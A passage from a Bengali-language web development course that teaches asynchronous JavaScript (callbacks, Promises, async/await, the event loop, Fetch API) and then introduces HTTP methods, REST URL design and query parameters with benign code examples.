}, 3000);

৩ সেকেন্ড পরে:

CONSOLE OUTPUT
Hello
💡 Real-Life Example

তুমি বললে:

"আমাকে 5 মিনিট পরে মনে করিয়ে দিও।"

JavaScript-এর ক্ষেত্রে:

21.3 JavaScript AsyncES2026
setTimeout(() => {
    console.log("Reminder!");
}, 5000);
21.4 setTimeout()` কি JavaScript-এর অংশ?
এখানে একটি গুরুত্বপূর্ণ বিষয় আছে।

setTimeout() আসলে JavaScript language-এর core feature নয়।

এটি environment থেকে আসে।

Browser-এ:

JavaScript ↓ Browser Web APIs ↓ setTimeout()

Node.js-এ Node-এর runtime timer APIs provide করে।

21.5 JavaScript কেন Async হতে পারে?

JavaScript-এর মূল execution model হলো single-threaded

অর্থাৎ সাধারণভাবে একটি JavaScript execution thread এক সময়ে একটি কাজ execute করে।

কিন্তু Browser environment বিভিন্ন কাজ JavaScript-এর বাইরে handle করতে পারে।

যেমন:

JavaScript ↓ Web API ↓ Timer / Network / DOM ↓ Task Queue ↓ Event Loop ↓ JavaScript
এই mechanism-টাই asynchronous JavaScript বোঝার জন্য খুব গুরুত্বপূর্ণ।
21.6 Call Stack

Call Stack হলো JavaScript-এর execution-এর জায়গা।

Example:

21.6 JavaScript AsyncES2026
function one() {
    console.log("One");
}

function two() {
    one();
    console.log("Two");
}

two();

Execution:

two() ↓ one() ↓ console.log()

Call Stack ধারণাগতভাবে:

┌───────────────┐ │ console.log │ ├───────────────┤ │ one() │ ├───────────────┤ │ two() │ └───────────────┘

যে function আগে আসে, তার execution complete হয়ে stack থেকে বের হয়।

21.7 Event Loop

এখন আসল magic:

Event Loop কী?

Event Loop check করে:

"Call Stack কি empty?"

যদি empty হয় এবং queue-তে pending কাজ থাকে, তাহলে appropriate callback execution-এর জন্য stack-এ পাঠানো হয়।

Conceptually:

JavaScript │ ▼ Call Stack │ ▼ ┌────────────────┐ │ Web APIs │ │ Timer / Fetch │ └────────────────┘ │ ▼ Queue │ ▼ Event Loop │ Stack empty? │ ▼ Call Stack
21.8 Callback Function

Callback হলো:

একটি function-কে অন্য function-এর argument হিসেবে দেওয়া, যাতে পরে সেটি execute করা যায়।
💡 Example
21.8 JavaScript AsyncES2026
function greet(name) {
    console.log("Hello " + name);
}

function processUser(callback) {
    callback("Shariar");
}

processUser(greet);
CONSOLE OUTPUT
Hello Shariar

এখানে:

21.8 JavaScript AsyncES2026
greet

হলো callback function।

21.9 Asynchronous Callback
21.9 JavaScript AsyncES2026
console.log("Start");

setTimeout(() => {
    console.log("Hello");
}, 2000);

console.log("End");
OUTPUT / TEXT
Start
End
Hello

setTimeout()-এর ভিতরের function হলো asynchronous callback।

21.10 Callback Hell

একাধিক asynchronous কাজ একটার result-এর উপর আরেকটা নির্ভর করলে code nested হয়ে যেতে পারে।

💡 Example
21.10 JavaScript AsyncES2026
getUser(function(user) {

    getPosts(user, function(posts) {

        getComments(posts, function(comments) {

            getLikes(comments, function(likes) {

                console.log(likes);

            });

        });

    });

});

এটাকে দেখতে অনেকটা:

getUser() ↓ getPosts() ↓ getComments() ↓ getLikes()

এটাকে বলা হয়:

# 🔥 Callback Hell

📌 কেন সমস্যা?
  • Code difficult to read
  • Debugging কঠিন
  • Error handling complicated
  • Maintenance কঠিন
  • Nested code বাড়তে থাকে
এই সমস্যা solve করার জন্য এসেছে:

# ⭐ Promise

Part 02 — Promises Architecture: Creation, Lifecycle, Chaining & Error Handling (21.11 – 21.23)
21.11 Promise

Promise হলো:

ভবিষ্যতে কোনো asynchronous operation-এর result পাওয়া যাবে—এই promise/প্রতিশ্রুতি।

Real-life example:

তুমি online-এ product order করলে।

Order করার পর:

Order placed ↓ Processing ↓ Shipped ↓ Delivered

তুমি জানো result এখনো আসেনি, কিন্তু পরে আসবে।

এটাই Promise-এর ধারণার মতো।

21.12 Promise-এর 3টি State

একটি Promise-এর প্রধান ৩টি state:

StateMeaning
pendingকাজ চলছে
fulfilledকাজ সফল হয়েছে
rejectedকাজ ব্যর্থ হয়েছে

Diagram:

Promise │ Pending / \ / \ ▼ ▼ Fulfilled Rejected
21.13 Promise তৈরি করা
⚙️ Syntax
21.13 JavaScript AsyncES2026
const promise = new Promise((resolve, reject) => {

});

এখানে:

21.13 JavaScript AsyncES2026
resolve()

মানে success।

21.13 JavaScript AsyncES2026
reject()

মানে failure।

21.14 Simple Promise Example
21.14 JavaScript AsyncES2026
const promise = new Promise((resolve, reject) => {

    let success = true;

    if (success) {
        resolve("Operation successful!");
    } else {
        reject("Operation failed!");
    }

});

Promise এখন:

OUTPUT / TEXT
fulfilled

কারণ:

21.14 JavaScript AsyncES2026
success = true
21.15 Promise-এর Result নেওয়া — `.then()
21.15 JavaScript AsyncES2026
const promise = new Promise((resolve, reject) => {
    resolve("Data loaded!");
});

promise.then((result) => {
    console.log(result);
});
CONSOLE OUTPUT
Data loaded!

.then() সাধারণত successful result handle করে।

21.16 .catch()

যদি Promise reject হয়:

21.16 JavaScript AsyncES2026
const promise = new Promise((resolve, reject) => {
    reject("Something went wrong!");
});

promise
    .then((result) => {
        console.log(result);
    })
    .catch((error) => {
        console.log(error);
    });
CONSOLE OUTPUT
Something went wrong!
21.17 .finally()

.finally() success বা failure—দুই ক্ষেত্রেই execute হয়।

21.17 JavaScript AsyncES2026
const promise = new Promise((resolve) => {
    resolve("Success");
});

promise
    .then((result) => {
        console.log(result);
    })
    .catch((error) => {
        console.log(error);
    })
    .finally(() => {
        console.log("Finished");
    });
CONSOLE OUTPUT
Success
Finished
21.18 Promise দিয়ে Delay তৈরি
21.18 JavaScript AsyncES2026
function delay(ms) {
    return new Promise((resolve) => {
        setTimeout(resolve, ms);
    });
}

delay(2000).then(() => {
    console.log("2 seconds completed");
});

২ seconds পরে:

CONSOLE OUTPUT
2 seconds completed
21.19 Promise Chaining

একটি Promise-এর result দিয়ে পরের কাজ করা যায়।

21.19 JavaScript AsyncES2026
Promise.resolve(10)
    .then((number) => {
        return number * 2;
    })
    .then((number) => {
        return number + 5;
    })
    .then((result) => {
        console.log(result);
    });
CONSOLE OUTPUT
25

কারণ:

10 ↓ ×2 20 ↓ +5 25
21.20 Promise Chain কেন গুরুত্বপূর্ণ?

Real API application:

Login ↓ Get User ↓ Get Profile ↓ Get Orders ↓ Show Dashboard

Promise chaining দিয়ে এগুলো manage করা যায়।

21.21 Promise Error Handling
21.21 JavaScript AsyncES2026
Promise.reject("Server Error")
    .then((data) => {
        console.log(data);
    })
    .catch((error) => {
        console.error("Error:", error);
    });
CONSOLE OUTPUT
Error: Server Error
21.22 Promise.resolve()

Already successful Promise তৈরি করতে:

21.22 JavaScript AsyncES2026
const promise = Promise.resolve("Hello");

promise.then((value) => {
    console.log(value);
});
OUTPUT / TEXT
Hello
21.23 Promise.reject()
21.23 JavaScript AsyncES2026
const promise = Promise.reject("Failed");

promise.catch((error) => {
    console.log(error);
});
OUTPUT / TEXT
Failed
Part 03 — Promise Combinators: Concurrency & Parallel Execution (21.24 – 21.28)
21.24 Promise.all()

একসাথে একাধিক Promise চালাতে খুব useful।

ধরো:

OUTPUT / TEXT
User data
Product data
Order data

তিনটিই দরকার।

21.24 JavaScript AsyncES2026
const userPromise = Promise.resolve("User");
const productPromise = Promise.resolve("Products");
const orderPromise = Promise.resolve("Orders");

Promise.all([
    userPromise,
    productPromise,
    orderPromise
])
.then((results) => {
    console.log(results);
});
CONSOLE OUTPUT
["User", "Products", "Orders"]
💡 Real-Life Example

Dashboard load করতে:

OUTPUT / TEXT
GET /user
GET /products
GET /orders

সবগুলো successful হলে:

21.24 JavaScript AsyncES2026
Promise.all([
    getUser(),
    getProducts(),
    getOrders()
])

তারপর dashboard render করা যায়।

21.25 Promise.all()`-এর গুরুত্বপূর্ণ বিষয়

যদি একটি Promise reject করে:

21.25 JavaScript AsyncES2026
Promise.all([
    Promise.resolve("A"),
    Promise.reject("Error"),
    Promise.resolve("C")
])
.catch((error) => {
    console.log(error);
});
OUTPUT / TEXT
Error

অর্থাৎ Promise.all() সাধারণভাবে সবগুলো সফল না হলে reject করে।

21.26 Promise.allSettled()

সব Promise-এর final result জানতে চাইলে:

21.26 JavaScript AsyncES2026
Promise.allSettled([
    Promise.resolve("Success"),
    Promise.reject("Failed")
])
.then((results) => {
    console.log(results);
});

Result conceptually:

21.26 JavaScript AsyncES2026
[
    {
        status: "fulfilled",
        value: "Success"
    },
    {
        status: "rejected",
        reason: "Failed"
    }
]

এখানে একটি fail করলেও অন্য result পাওয়া যায়।

21.27 Promise.race()

যে Promise আগে settle করবে, তার result পাওয়া যাবে।

21.27 JavaScript AsyncES2026
const first = new Promise((resolve) => {
    setTimeout(() => resolve("First"), 1000);
});

const second = new Promise((resolve) => {
    setTimeout(() => resolve("Second"), 2000);
});

Promise.race([first, second])
    .then((result) => {
        console.log(result);
    });
CONSOLE OUTPUT
First

কারণ first আগে complete করেছে।

21.28 Promise.any()

যে Promise প্রথম fulfilled হবে তার result দেয়।

21.28 JavaScript AsyncES2026
Promise.any([
    Promise.reject("Failed 1"),
    Promise.resolve("Success"),
    Promise.resolve("Success 2")
])
.then((result) => {
    console.log(result);
});
OUTPUT / TEXT
Success
Part 04 — Modern Async/Await: Syntactic Sugar, Flow Control & Loop Patterns (21.29 – 21.38)
21.29 async` Function

Promise handling আরও সহজ করার জন্য:

# ⭐ async

একটি function-এর সামনে async দিলে function সবসময় Promise return করে।

21.29 JavaScript AsyncES2026
async function greet() {
    return "Hello";
}

এটা conceptually:

21.29 JavaScript AsyncES2026
Promise.resolve("Hello")

এর মতো।

21.30 async` Example
21.30 JavaScript AsyncES2026
async function getMessage() {
    return "Hello Shariar";
}

getMessage().then((message) => {
    console.log(message);
});
OUTPUT / TEXT
Hello Shariar
21.31 await

await Promise-এর result পাওয়ার জন্য অপেক্ষা করার মতো syntax দেয়।

21.31 JavaScript AsyncES2026
function getData() {
    return new Promise((resolve) => {
        setTimeout(() => {
            resolve("Data received");
        }, 2000);
    });
}

async function showData() {

    const data = await getData();

    console.log(data);
}

showData();

২ seconds পরে:

CONSOLE OUTPUT
Data received
21.32 async/await` কেন এত জনপ্রিয়?

আগে:

21.32 JavaScript AsyncES2026
getData()
    .then((data) => {
        return processData(data);
    })
    .then((result) => {
        console.log(result);
    });

async/await:

21.32 JavaScript AsyncES2026
async function run() {

    const data = await getData();

    const result = await processData(data);

    console.log(result);
}

দ্বিতীয়টি অনেকটা synchronous code-এর মতো readable।

21.33 await` কি পুরো JavaScript বন্ধ করে দেয়?

❌ না।

এটি খুব গুরুত্বপূর্ণ।
21.33 JavaScript AsyncES2026
async function test() {

    console.log("A");

    await delay(2000);

    console.log("B");
}

test();

console.log("C");
OUTPUT / TEXT
A
C
B

await asynchronous function-এর ওই অংশের execution pause করে, কিন্তু পুরো JavaScript environment/blocking করে না।

21.34 async/await` Error Handling

await-এর সাথে সাধারণত:

21.34 JavaScript AsyncES2026
try/catch

ব্যবহার করা হয়।

21.34 JavaScript AsyncES2026
function getData() {
    return Promise.reject("Server Error");
}

async function loadData() {

    try {

        const data = await getData();

        console.log(data);

    } catch (error) {

        console.log("Error:", error);

    }
}

loadData();
CONSOLE OUTPUT
Error: Server Error
21.35 try/catch/finally` + async
21.35 JavaScript AsyncES2026
async function loadData() {

    try {

        const data = await getData();

        console.log(data);

    } catch (error) {

        console.log("Error:", error);

    } finally {

        console.log("Request finished");

    }
}
21.36 Sequential Async Operations

ধরো:

Login ↓ Get profile ↓ Get orders

একটির result ছাড়া পরেরটি চলবে না।

21.36 JavaScript AsyncES2026
async function run() {

    const user = await login();

    const profile = await getProfile(user);

    const orders = await getOrders(profile);

    console.log(orders);
}

এটা sequential।

21.37 Parallel Async Operations

যদি কাজগুলো একে অপরের উপর depend না করে:

21.37 JavaScript AsyncES2026
async function loadDashboard() {

    const [users, products, orders] = await Promise.all([
        getUsers(),
        getProducts(),
        getOrders()
    ]);

    console.log(users);
    console.log(products);
    console.log(orders);
}

এখানে তিনটি operation parallelভাবে শুরু হয়।

📌 Important

এটা:

21.37 JavaScript AsyncES2026
const users = await getUsers();
const products = await getProducts();
const orders = await getOrders();

এর চেয়ে independent operations-এর ক্ষেত্রে বেশি efficient হতে পারে।

21.38 await` Inside Loop

Example:

21.38 JavaScript AsyncES2026
async function process() {

    for (const id of [1, 2, 3]) {

        const data = await getData(id);

        console.log(data);
    }
}

এখানে:

1 → complete ↓ 2 → complete ↓ 3 → complete

Sequential execution।

যদি independent হয়, তাহলে অনেক সময়:

21.38 JavaScript AsyncES2026
const results = await Promise.all(
    [1, 2, 3].map(id => getData(id))
);

better approach হতে পারে।

Part 05 — Engine Internals, Microtasks, Fetch API & Production Architecture (21.39 – 21.55)
21.39 Microtask vs Macrotask

এখন একটু advanced concept।

JavaScript asynchronous execution-এ বিভিন্ন queue থাকে।

সাধারণভাবে:

Microtask Queue

  • Promise .then()
  • .catch()
  • .finally()
  • queueMicrotask()

Task/Macrotask Queue

  • setTimeout
  • setInterval
  • কিছু browser events
21.40 Event Loop Example
21.40 JavaScript AsyncES2026
console.log("1");

setTimeout(() => {
    console.log("2");
}, 0);

Promise.resolve().then(() => {
    console.log("3");
});

console.log("4");
CONSOLE OUTPUT
1
4
3
2

কেন?

প্রথমে synchronous:

OUTPUT / TEXT
1
4

তারপর microtask:

OUTPUT / TEXT
3

তারপর task:

OUTPUT / TEXT
2

অর্থাৎ conceptually:

Synchronous code ↓ Microtasks ↓ Tasks
21.41 setTimeout(..., 0)` মানে কি সঙ্গে সঙ্গে?

❌ না।

21.41 JavaScript AsyncES2026
setTimeout(() => {
    console.log("Hello");
}, 0);

এর অর্থ:

callback-টি যত দ্রুত সম্ভব পরে task queue-তে handle করার সুযোগ পাবে।

এটি synchronous code-এর আগে execute হয় না।

21.42 Fetch API
এখন সবচেয়ে গুরুত্বপূর্ণ practical বিষয়:

# 🌐 Fetch API

Frontend developer হিসেবে server/API থেকে data আনতে fetch() খুব গুরুত্বপূর্ণ।
💡 Example
21.42 JavaScript AsyncES2026
fetch("https://example.com")
    .then(response => {
        console.log(response);
    });

fetch() একটি Promise return করে।

21.43 Fetch + JSON

API থেকে JSON data আনতে:

21.43 JavaScript AsyncES2026
fetch("https://api.example.com/users")
    .then(response => response.json())
    .then(data => {
        console.log(data);
    })
    .catch(error => {
        console.log(error);
    });

Flow:

fetch() ↓ Response ↓ response.json() ↓ JSON data ↓ Use data
21.44 Fetch with `async/await

এটা আরও readable:

21.44 JavaScript AsyncES2026
async function getUsers() {

    try {

        const response = await fetch(
            "https://api.example.com/users"
        );

        const data = await response.json();

        console.log(data);

    } catch (error) {

        console.error(error);

    }
}

getUsers();
21.45 HTTP Error সম্পর্কে গুরুত্বপূর্ণ বিষয়

fetch() সাধারণত HTTP 404 বা 500 পেলেই Promise reject করে না।

তাই:

21.45 JavaScript AsyncES2026
const response = await fetch(url);

এরপর check করা ভালো:

21.45 JavaScript AsyncES2026
if (!response.ok) {
    throw new Error(`HTTP Error: ${response.status}`);
}

Complete:

21.45 JavaScript AsyncES2026
async function getUsers() {

    try {

        const response = await fetch(
            "https://example.com/users"
        );

        if (!response.ok) {
            throw new Error(
                `HTTP Error: ${response.status}`
            );
        }

        const data = await response.json();

        console.log(data);

    } catch (error) {

        console.error(error);

    }
}
21.46 Real-Life Login Example

ধরো frontend থেকে login request:

21.46 JavaScript AsyncES2026
async function login(email, password) {

    try {

        const response = await fetch("/api/login", {

            method: "POST",

            headers: {
                "Content-Type": "application/json"
            },

            body: JSON.stringify({
                email,
                password
            })

        });

        if (!response.ok) {
            throw new Error("Login failed");
        }

        const data = await response.json();

        console.log("Login successful:", data);

    } catch (error) {

        console.error("Login error:", error);

    }
}

এখানে Chapter 19-এর JSON + Chapter 20-এর modules + Chapter 21-এর async concept একসাথে ব্যবহার হচ্ছে।

21.47 Async JavaScript-এর Complete Flow

একটি modern web application-এ:

User clicks button ↓ Event Handler ↓ async function ↓ fetch() ↓ Promise ↓ Server/API ↓ Response ↓ await ↓ JSON ↓ Data processing ↓ DOM update

এটাই frontend development-এর খুব common workflow।

21.48 Callback vs Promise vs Async/Await
FeatureCallbackPromiseAsync/Await
Readabilityকমভালো⭐ খুব ভালো
Nested codeবেশি হতে পারেকমকম
Error handlingcomplicated হতে পারে.catch()try/catch
Chainingকঠিন.then()সহজ
Modern JSপুরোনো/commonStandard⭐ খুব common
21.49 Real-Life Mini Project — Fake API
21.49 JavaScript AsyncES2026
function getUser() {

    return new Promise((resolve) => {

        setTimeout(() => {

            resolve({
                id: 1,
                name: "Shariar",
                role: "Full Stack Developer"
            });

        }, 2000);

    });
}

async function showUser() {

    console.log("Loading...");

    try {

        const user = await getUser();

        console.log("User:", user);

    } catch (error) {

        console.error(error);

    }

}

showUser();

প্রথমে:

CONSOLE OUTPUT
Loading...

২ seconds পরে:

OUTPUT / TEXT
User: {
    id: 1,
    name: "Shariar",
    role: "Full Stack Developer"
}
21.50 Async Function + Loading UI

Real website-এ:

21.50 JavaScript AsyncES2026
async function loadProducts() {

    const loading = document.querySelector("#loading");

    try {

        loading.textContent = "Loading...";

        const response = await fetch("/api/products");

        if (!response.ok) {
            throw new Error("Failed to load products");
        }

        const products = await response.json();

        console.log(products);

    } catch (error) {

        console.error(error);

    } finally {

        loading.textContent = "";

    }
}

এখানে:

Start ↓ Loading... ↓ API request ↓ Success/Error ↓ finally ↓ Loading remove
21.51 Promise-এর কিছু গুরুত্বপূর্ণ ভুল
❌ ভুল
21.51 JavaScript AsyncES2026
const result = getData();

console.log(result);

যদি getData() Promise return করে:

OUTPUT / TEXT
Promise { <pending> }

পেতে পারো।

✅ সঠিক
21.51 JavaScript AsyncES2026
const result = await getData();

অথবা:

21.51 JavaScript AsyncES2026
getData().then(result => {
    console.log(result);
});
21.52 await` কোথায় ব্যবহার করা যায়?

সাধারণভাবে await ব্যবহার করা যায়:

async function-এর ভিতরে
21.52 JavaScript AsyncES2026
async function test() {

    const data = await getData();

}

এছাড়া modern JavaScript modules-এ top-level await-ও ব্যবহার করা যায়।

যেমন module:

21.52 JavaScript AsyncES2026
const data = await getData();

console.log(data);
21.53 Promise Constructor-এর Common Mistake
❌ অপ্রয়োজনীয়ভাবে Promise wrap করা
21.53 JavaScript AsyncES2026
return new Promise((resolve, reject) => {

    fetch(url)
        .then(response => resolve(response))
        .catch(error => reject(error));

});

অনেক ক্ষেত্রে এটি দরকার হয় না।

সরাসরি:

21.53 JavaScript AsyncES2026
return fetch(url);

ব্যবহার করা যায়।

21.54 Promise-এর Mental Model
মনে রাখবে:
Promise │ ├── Pending │ ├── Fulfilled │ └── Rejected

তারপর:

.then() → Success .catch() → Error .finally() → Always
21.55 Async/Await Mental Model
মনে রাখবে:
21.55 JavaScript AsyncES2026
async function load() {

    try {

        const data = await getData();

    } catch (error) {

        console.log(error);

    }

}

মানে:

async ↓ Promise-based function ↓ await result ↓ try/catch error
Part 06 — Asynchronous Mastery: Must Know, Cheat Sheet, Practice Lab & Mental Map
MUST KNOW 🔥 21.56 Must Know — Asynchronous JavaScript Core Pillars

Chapter 21 থেকে অবশ্যই জানতে হবে:

Basic
  • Synchronous
  • Asynchronous
  • setTimeout()
  • Callback
  • Call Stack
  • Event Loop
Promise
  • Promise
  • pending
  • fulfilled
  • rejected
  • resolve()
  • reject()
  • .then()
  • .catch()
  • .finally()
  • Promise chaining
Promise Methods
JavaScript AsyncES2026
Promise.resolve()
Promise.reject()
Promise.all()
Promise.allSettled()
Promise.race()
Promise.any()
Modern Async
  • async
  • await
  • try/catch
  • Sequential async
  • Parallel async
  • Promise.all()
Practical
  • Fetch API
  • JSON response
  • HTTP error checking
  • API error handling
  • Loading state
Advanced
  • Microtask
  • Task/Macrotask
  • Event Loop execution order
CHEAT SHEET 🧠 Quick Cheat Sheet — Callback, Promise & Async/Await Syntax
JavaScript AsyncES2026
// Callback
setTimeout(() => {
    console.log("Hello");
}, 1000);
JavaScript AsyncES2026
// Promise
const p = new Promise((resolve, reject) => {
    resolve("Success");
});
JavaScript AsyncES2026
// then
p.then(data => {
    console.log(data);
});
JavaScript AsyncES2026
// catch
p.catch(error => {
    console.log(error);
});
JavaScript AsyncES2026
// async
async function test() {

}
JavaScript AsyncES2026
// await
const data = await getData();
JavaScript AsyncES2026
// Promise.all
const results = await Promise.all([
    getUsers(),
    getProducts()
]);
JavaScript AsyncES2026
// Fetch
const response = await fetch(url);
JavaScript AsyncES2026
// JSON
const data = await response.json();
JavaScript AsyncES2026
// Error
if (!response.ok) {
    throw new Error("Request failed");
}
PRACTICE LAB 📝 Practice Set — 5 Asynchronous Coding Challenges

Practice 1

একটি function বানাও যেটি 3 seconds পরে:

OUTPUT / TEXT
Hello JavaScript

print করবে।

Practice 2

একটি Promise তৈরি করো:

OUTPUT / TEXT
Success

return করবে।

তারপর .then() দিয়ে output দেখাও।

Practice 3

একটি Promise তৈরি করো যেটা reject করবে:

OUTPUT / TEXT
Network Error

তারপর .catch() দিয়ে error দেখাও।

Practice 4

async/await দিয়ে একটি fake API function তৈরি করো যেটি 2 seconds পরে:

JavaScript AsyncES2026
{
    name: "Shariar",
    age: 24
}

return করবে।

Practice 5

এই code-এর output predict করো:

JavaScript AsyncES2026
console.log("A");

setTimeout(() => {
    console.log("B");
}, 0);

Promise.resolve().then(() => {
    console.log("C");
});

console.log("D");

Answer:

OUTPUT / TEXT
A
D
C
B
SUMMARY 🎯 Chapter 21 Final Mental Map — Asynchronous JavaScript Architecture
পুরো Chapter-টা এভাবে মনে রাখো:
ASYNC JAVASCRIPT │ ┌───────────────┼────────────────┐ │ │ │ Callback Promise async/await │ │ │ Callback Hell then/catch try/catch │ ┌─────────┼─────────┐ │ │ │ all() allSettled() race() │ any() │ Fetch │ API │ JSON │ Real Web App
📌 সবচেয়ে গুরুত্বপূর্ণ concept:
JavaScript single-threaded হলেও asynchronous programming-এর মাধ্যমে timer, network request, API call ইত্যাদি কাজ handle করতে পারে।

আর modern web development-এ তোমার সবচেয়ে বেশি ব্যবহার হবে:

JavaScript AsyncES2026
async function getData() {
    try {
        const response = await fetch(url);

        if (!response.ok) {
            throw new Error("Request failed");
        }

        const data = await response.json();

        return data;

    } catch (error) {
        console.error(error);
    }
}

এই pattern তুমি React + Node.js + Express + REST API + Full Stack Development-এ বারবার দেখতে পাবে।

NEXT CHAPTER 📘 Chapter 22 Preview — HTTP, API & Fetch

পরবর্তী অধ্যায়ে আমরা শিখব HTTP Protocols, REST APIs, Request Headers, Status Codes (200, 201, 400, 401, 404, 500) এবং ব্রাউজারের আধুনিক fetch() API দিয়ে ফুল-স্ট্যাক নেটওয়ার্ক ইন্টারঅ্যাকশন ও এরর হ্যান্ডলিং কৌশল।

Chapter 22
↑ Index
HTTP, REST API & Fetch API — ক্লায়েন্ট-সার্ভার নেটওয়ার্কিং
Total Sections
70 Modules + Practice
Curriculum Part
Part 16 — Network Protocols & Web APIs
Core Mechanics
HTTP, REST, JSON, Fetch API & CRUD
Reference Standard
RFC 9110 / WHATWG Fetch / REST Architecture

HTTP, REST API এবং Fetch API — Frontend থেকে Backend-এর সাথে সংযোগ

Chapter 21-এ আমরা Asynchronous JavaScript ও Promise শিখেছি। একজন Full Stack ইঞ্জিনিয়ার হিসেবে ক্লায়েন্ট ব্রাউজার কীভাবে সার্ভারের সাথে যোগাযোগ করে, ডাটা আনা-নেওয়া করে এবং ব্যাকএন্ড ডাটাবেজে প্রভাব ফেলে—সেটি গভীরভাবে জানা অপরিহার্য।

Browser Client  →  HTTP Request (Method, URL, Headers, Body)  →  Backend REST API  →  HTTP Response (Status, JSON)

React, Next.js, Node.js বা Express—যেকোনো ওয়েব প্ল্যাটফর্মে ফুল-স্ট্যাক ডেভলপমেন্টের মূল মেরুদণ্ড হলো এই নেটওয়ার্কিং জ্ঞান। 🔥

Part 01 — Networking Protocols & HTTP Client-Server Architecture (22.1 – 22.12)
22.1 API কী?

API = Application Programming Interface

সহজভাবে:

API হলো এমন একটি মাধ্যম যার মাধ্যমে একটি application অন্য application/service-এর সাথে কথা বলে এবং data আদান-প্রদান করে।
💡 Real-Life Example 🍔

ধরো তুমি restaurant-এ গেলে।

You ↓ Waiter ↓ Kitchen ↓ Food ↓ Waiter ↓ You

এখানে Waiter = API

তুমি সরাসরি kitchen-এ গিয়ে order দিচ্ছ না।

একইভাবে:

Frontend ↓ API ↓ Backend ↓ Database

Backend-এর database-এ frontend সরাসরি access না করে API-এর মাধ্যমে request করে।

22.2 Frontend এবং Backend Communication

ধরো একটি e-commerce website:

React Frontend ↓ GET /api/products ↓ Node.js / Express Backend ↓ MongoDB ↓ Backend ↓ JSON Response ↓ React

Frontend:

"আমাকে সব products দাও।"

Backend:

"এই নাও products-এর data।"
22.3 HTTP কী?

HTTP = HyperText Transfer Protocol

এটি web-এর communication protocol।

Browser এবং server HTTP-এর মাধ্যমে communicate করতে পারে।

Client │ │ HTTP Request ▼ Server │ │ HTTP Response ▼ Client
Client বলতে কী?

সাধারণত:

  • Browser
  • Mobile App
  • React App
  • Postman
  • অন্য কোনো application
Server বলতে কী?

যে system request receive করে এবং response দেয়।

যেমন:

  • Node.js server
  • Express server
  • Django
  • Spring Boot
  • Laravel
22.4 HTTP Request

একটি request-এ সাধারণত থাকে:

HTTP Request ├── Method ├── URL ├── Headers ├── Body └── অন্যান্য তথ্য

Example:

22.4 HTTP ProtocolHTTP/1.1
GET /api/products
22.5 HTTP Response

Server সাধারণত দেয়:

HTTP Response ├── Status Code ├── Headers └── Body

Example:

22.5 HTTP ProtocolHTTP/1.1
HTTP/1.1 200 OK
Content-Type: application/json

Body:

22.5 JSON Payloadapplication/json
[
    {
        "id": 1,
        "name": "Laptop",
        "price": 70000
    }
]
22.6 HTTP Methods
সবচেয়ে গুরুত্বপূর্ণ HTTP methods:
Methodকাজ
GETData নেওয়া
POSTনতুন Data তৈরি করা
PUTসম্পূর্ণ resource update করা
PATCHResource-এর নির্দিষ্ট অংশ update করা
DELETEData delete করা
HEADHeader information নেওয়া
OPTIONSServer কী methods/options support করে তা জানা

Frontend development-এ সবচেয়ে বেশি:

OUTPUT / TEXT
GET
POST
PUT
PATCH
DELETE
22.7 GET

GET ব্যবহার করা হয় data নেওয়ার জন্য।

Example:

22.7 HTTP ProtocolHTTP/1.1
GET /api/products

JavaScript:

22.7 JavaScript Fetch APIES2026
const response = await fetch("/api/products");

const products = await response.json();

console.log(products);
22.8 POST

POST সাধারণত নতুন resource তৈরি করতে ব্যবহার করা হয়।

Example:

22.8 HTTP ProtocolHTTP/1.1
POST /api/products

Data:

22.8 JSON Payloadapplication/json
{
    "name": "Laptop",
    "price": 70000
}

JavaScript:

22.8 JavaScript Fetch APIES2026
const response = await fetch("/api/products", {
    method: "POST",

    headers: {
        "Content-Type": "application/json"
    },

    body: JSON.stringify({
        name: "Laptop",
        price: 70000
    })
});

const data = await response.json();

console.log(data);
22.9 PUT

PUT সাধারণত একটি resource-এর সম্পূর্ণ representation replace/update করতে ব্যবহার করা হয়।

22.9 JavaScript Fetch APIES2026
await fetch("/api/products/1", {
    method: "PUT",

    headers: {
        "Content-Type": "application/json"
    },

    body: JSON.stringify({
        name: "Gaming Laptop",
        price: 90000
    })
});
22.10 PATCH

PATCH সাধারণত resource-এর নির্দিষ্ট অংশ update করতে ব্যবহার করা হয়।

ধরো শুধু price পরিবর্তন করবে:

22.10 JavaScript Fetch APIES2026
await fetch("/api/products/1", {
    method: "PATCH",

    headers: {
        "Content-Type": "application/json"
    },

    body: JSON.stringify({
        price: 85000
    })
});
22.11 DELETE

Data delete করতে:

22.11 JavaScript Fetch APIES2026
await fetch("/api/products/1", {
    method: "DELETE"
});
22.12 CRUD
Backend/API development-এ একটি খুব গুরুত্বপূর্ণ term:

# CRUD

LetterMeaningHTTP
CCreatePOST
RReadGET
UUpdatePUT/PATCH
DDeleteDELETE

Real-life product system:

Create Product → POST Get Products → GET Update Product → PUT/PATCH Delete Product → DELETE
Part 02 — REST API Architecture, Resource URLs & Status Codes (22.13 – 22.25)
22.13 REST API কী?

REST = Representational State Transfer

REST হলো web API design করার একটি architectural style।

REST API সাধারণত resource-oriented হয়।

Example:

OUTPUT / TEXT
/api/users
/api/products
/api/orders
/api/students
22.14 RESTful URL Design
❌ সাধারণত এভাবে না:
OUTPUT / TEXT
/getUsers
/createProduct
/deleteProduct
/updateProduct
✅ Resource-oriented:
OUTPUT / TEXT
GET    /users
POST   /users
GET    /users/10
PATCH  /users/10
DELETE /users/10

Method বলে দেয় কী action হবে।

22.15 REST API Example

ধরো Student API:

OUTPUT / TEXT
GET     /api/students
GET     /api/students/101
POST    /api/students
PATCH   /api/students/101
DELETE  /api/students/101

এখানে:

OUTPUT / TEXT
/students

হলো resource।

22.16 URL কী?

URL:

Uniform Resource Locator

Example:

OUTPUT / TEXT
https://example.com/api/products/10

এখানে:

OUTPUT / TEXT
https://

→ Protocol

OUTPUT / TEXT
example.com

→ Domain

OUTPUT / TEXT
/api/products/10

→ Path

22.17 Query Parameters

ধরো products search করতে চাই:

OUTPUT / TEXT
/api/products?search=laptop

এখানে:

OUTPUT / TEXT
search=laptop

হলো query parameter।

আরেকটি:

OUTPUT / TEXT
/api/products?page=2&limit=10

এখানে:

OUTPUT / TEXT
page=2
limit=10
22.18 JavaScript দিয়ে Query Parameters
22.18 JavaScript Fetch APIES2026
const params = new URLSearchParams({
    search: "laptop",
    page: 2,
    limit: 10
});

const url = `/api/products?${params}`;

console.log(url);
CONSOLE OUTPUT
/api/products?search=laptop&page=2&limit=10
22.19 URLSearchParams

এটি query parameter তৈরি/পরিচালনা করতে সাহায্য করে।

22.19 JavaScript Fetch APIES2026
const params = new URLSearchParams();

params.set("search", "phone");
params.set("page", "1");

console.log(params.toString());
OUTPUT / TEXT
search=phone&page=1
